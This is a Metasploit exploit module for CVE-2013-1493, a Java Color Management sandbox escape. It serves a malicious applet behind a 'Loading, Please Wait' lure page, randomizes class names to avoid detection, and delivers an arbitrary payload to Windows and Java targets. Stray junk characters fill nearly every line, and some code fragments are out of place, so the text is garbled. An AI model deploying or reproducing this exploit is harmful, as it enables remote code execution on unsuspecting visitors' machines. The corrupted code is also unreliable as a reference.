##
6 Y5 B l* f! D) Q
0 ~9 H! E2 y" ^" A: c9 H* `# This file is part of the Metasploit Framework and may be subject to7 l6 G7 ^: B" I- P, S0 j7 F
# redistribution and commercial restrictions. Please see the Metasploit
8 V4 F3 O' P6 Y/ s4 p# web site for more information on licensing and terms of use.
$ Y, f" @( s- O: c5 Z1 g# http://metasploit.com/7 W( ]# J# p" U+ s N4 p
##7 U+ A9 l: T4 Y7 k+ U
require ‘msf/core’5 ?6 x$ p6 {/ q1 W6 f
require ‘rex’
) F2 x% N; x3 k# Tclass Metasploit3 < Msf::Exploit::Remote7 k0 I9 Y/ T6 s
Rank = NormalRanking) g% r& E4 j/ @- D
include Msf::Exploit::Remote::HttpServer::HTML! ]* p+ o5 D/ e8 Q& |
include Msf::Exploit::EXE) J9 y: Y) w) X* O( }& h! C8 Y
include Msf::Exploit::Remote::BrowserAutopwn! q+ j4 C4 v; o+ b
autopwn_info({ :javascript => false }), L; K4 U& y7 ^- q6 \
def initialize( info = {} )" R" P: Q2 g9 Q4 I( c* S! E
super( update_info( info,0 b; m/ l/ q4 p$ q6 K7 ]
‘Name’ => ‘Java CMM Remote Code Execution’,
6 _6 [ K4 e1 \- ~0 n( u' L6 w‘Description’ => %q{- U7 f. m9 s) m6 \; l6 ?8 p
This module abuses the Color Management classes from a Java Applet to run
( j& A e' f' {8 qarbitrary Java code outside of the sandbox as exploited in the wild in February
% Q6 v. Z6 ` T/ `9 zand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41+ ]4 y: x x! |0 U
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1$ ^; \3 _. k6 F! b' v
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java! y1 t |0 N# v P1 a
warning in order to run the malicious applet.* v$ C/ V7 s# Y# l7 G% u3 {
},
6 r, T" e' C) s6 H# ^3 W) M‘License’ => MSF_LICENSE,6 d3 k5 p( z+ T$ q
‘Author’ =>
- {4 J) U) r5 R7 {" ^7 x0 Z'Unknown', # Vulnerability discovery and Exploit! x) E' A+ j( h- c/ Q/ R) a7 w
'juan vazquez' # Metasploit module (just ported the published exploit) f r9 i5 c$ a% e, W9 E! r
],
c/ f9 q: H# u7 ]1 D‘References’ =>
* T7 {8 G& {- Q9 @9 \( g% E[, v$ P& h1 }. \6 @$ e' N/ {( e. |
[ 'CVE', '2013-1493' ],# T+ G7 H: u' ?' q* C: P2 Y Q" ?
[ 'OSVDB', '90737' ],) b& U( U& u% d9 j# c( k
[ 'BID', '58238' ],, Q8 s c' v$ \
[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],5 G* ~4 S$ @. a& g) K! [
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
( t$ s! o2 e5 m! `, O5 X[ 'URL', 'http://pastie.org/pastes/6581034' ]
: ^2 Q2 y% z5 n1 y( c9 J],% @* T7 {- C2 P) e6 p5 H( Z
‘Platform’ => [ 'win', 'java' ],
- x2 f/ f4 g+ _‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
/ Z7 m# _% ?. U/ W, L‘Targets’ =>
( n0 f/ @/ p# s& }[0 C# S. i: M* W" w
[ 'Generic (Java Payload)',' Q ?# Z5 J l* h' d
{( I! U. M3 I8 m1 N; j6 F
'Platform' => 'java',
$ v5 H/ k, f4 `% q' z% ^ T'Arch' => ARCH_JAVA% _. T) w9 g" M# x
}
1 K6 X6 P, H6 ?7 _. B5 A$ l],. m2 h. r! i% A; f
[ 'Windows x86 (Native Payload)',; G* J9 [* T+ n7 e0 ?0 a) j
{8 M, W2 H7 s) b
'Platform' => 'win',
. v# w! f4 @! G( ] D! `2 C'Arch' => ARCH_X86
* x$ h: ?% t; m1 M. _}
! |3 u* u/ u! o]+ ~4 I; C+ x5 ?; N0 d
],- [) n) i0 e2 ~4 _% d( o
‘‘DisclosureDate’ => ‘Mar 01 2013′, {" L5 K! W; c, `& @7 \+ A
))
D' j8 Y; y$ D4 t( a8 Send
' _0 J# K+ H8 E# C1 k3 k: Edef setup/ S1 P! `5 g/ L* U/ o& ^
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)9 h% |0 J: ?/ _. _
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
; v0 e4 V' k( t5 y4 }9 s- \path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
5 ~4 W% E8 ^( H& {0 T@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }) X9 e( \2 l: o. W @
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”). B" F3 \- K* S5 @+ |- u+ z$ H
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }+ X9 G9 p* @0 h; p4 w6 Y+ s3 l
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)# g" ?* j. y- X
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
4 V! O7 g3 }5 \1 _3 m2 v3 x@init_class_name = rand_text_alpha(“Init”.length)# S1 ~( ^: k1 p7 M6 M
@init_class.gsub!(“Init”, @init_class_name)8 K4 x0 j, f; }1 T N5 e4 R$ P6 u* K
super" \" q7 H2 x& I# b. {3 u
end7 N& I+ @3 W, i# R) S( y
def on_request_uri(cli, request)
6 }5 M8 E1 P }; F7 Qprint_status(“handling request for #{request.uri}”)! U4 X" A- v ?+ P' E
case request.uri
! j5 W# `' M* \3 y% k/ ^when /\.jar$/i0 P5 c# z- H& |& s+ c, R
jar = payload.encoded_jar
0 h( x5 [1 Y; J! O: Y! Ojar.add_file(“#{@init_class_name}.class”, @init_class)
/ n( w0 ^% W3 W. Q6 S8 S/ J+ v" njar.add_file(“Leak.class”, @leak_class)$ t* q. I2 k) L9 S
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
% g1 [8 o# T, ?& P0 S8 j! i' Ajar.add_file(“MyColorSpace.class”, @color_space_class)
0 c) ~* ?9 i2 }& u, R! qDefaultTarget’ => 1,
. E) O E1 B- r9 [# umetasploit_str = rand_text_alpha(“metasploit”.length)
* |3 |& g+ K! Cpayload_str = rand_text_alpha(“payload”.length)) g+ p7 ?3 \! H Y, `
jar.entries.each { |entry|; b& K0 T+ H" W( g6 l8 q
entry.name.gsub!(“metasploit”, metasploit_str)* d; s0 I/ S9 O; Y+ A
entry.name.gsub!(“Payload”, payload_str)3 _7 }0 T# h# o7 B0 ~5 ]3 _
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
, ?5 e# u# Z" i* ~# [( G' Bentry.data = entry.data.gsub(“Payload”, payload_str)/ f5 W3 J! G8 K, B+ S& T; I. O
}
8 c9 i3 @; q; C' i" ?1 ]7 bjar.build_manifest
1 Q- e9 {( C* l# `' Y# i' Dsend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
, R5 M6 Y6 T( b. _( P. ^, kwhen /\/$/
2 z) p! G" k! q; j4 H# z' u8 bpayload = regenerate_payload(cli)- u, H2 v! y' p! P$ P
if not payload
6 e# B. V5 o4 q4 `4 k+ n' V; aprint_error(“Failed to generate the payload.”)
2 Q. }1 U9 I1 ?# M6 qsend_not_found(cli)! g. b$ {- ]5 n7 s# U
return
4 s |- ^2 y7 o) x, l& l; A9 mend
4 H; D9 W1 Q# k) {/ ]send_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ }). C* _6 W& ^/ U: E8 s0 Z' o
else
. G# l" r `8 \send_redirect(cli, get_resource() + ‘/’, ”)" @1 {0 E9 A: M7 @
end6 ]; H% F% l& m- o! R* N! P0 c
end
- y p# t! T- D% {" \( sdef generate_html3 Z6 M7 }6 x, g4 ]4 u( h- r
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
8 T+ ?; N3 x1 z, Ahtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
6 [# `5 g" [$ ~, Y+ M! Ehtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
8 c$ v/ I1 r, {9 Z5 C0 v7 ghtml += %Q|</applet></body></html>|
: ^7 Y z# y' C- e; v; J) c7 [return html0 L( `2 g; I4 p% Z6 K
end
, s( Q0 I9 @3 uend
2 E2 X5 L4 I/ ]0 ]# d. I) \end
1 ?8 u- f+ W) W9 y; m |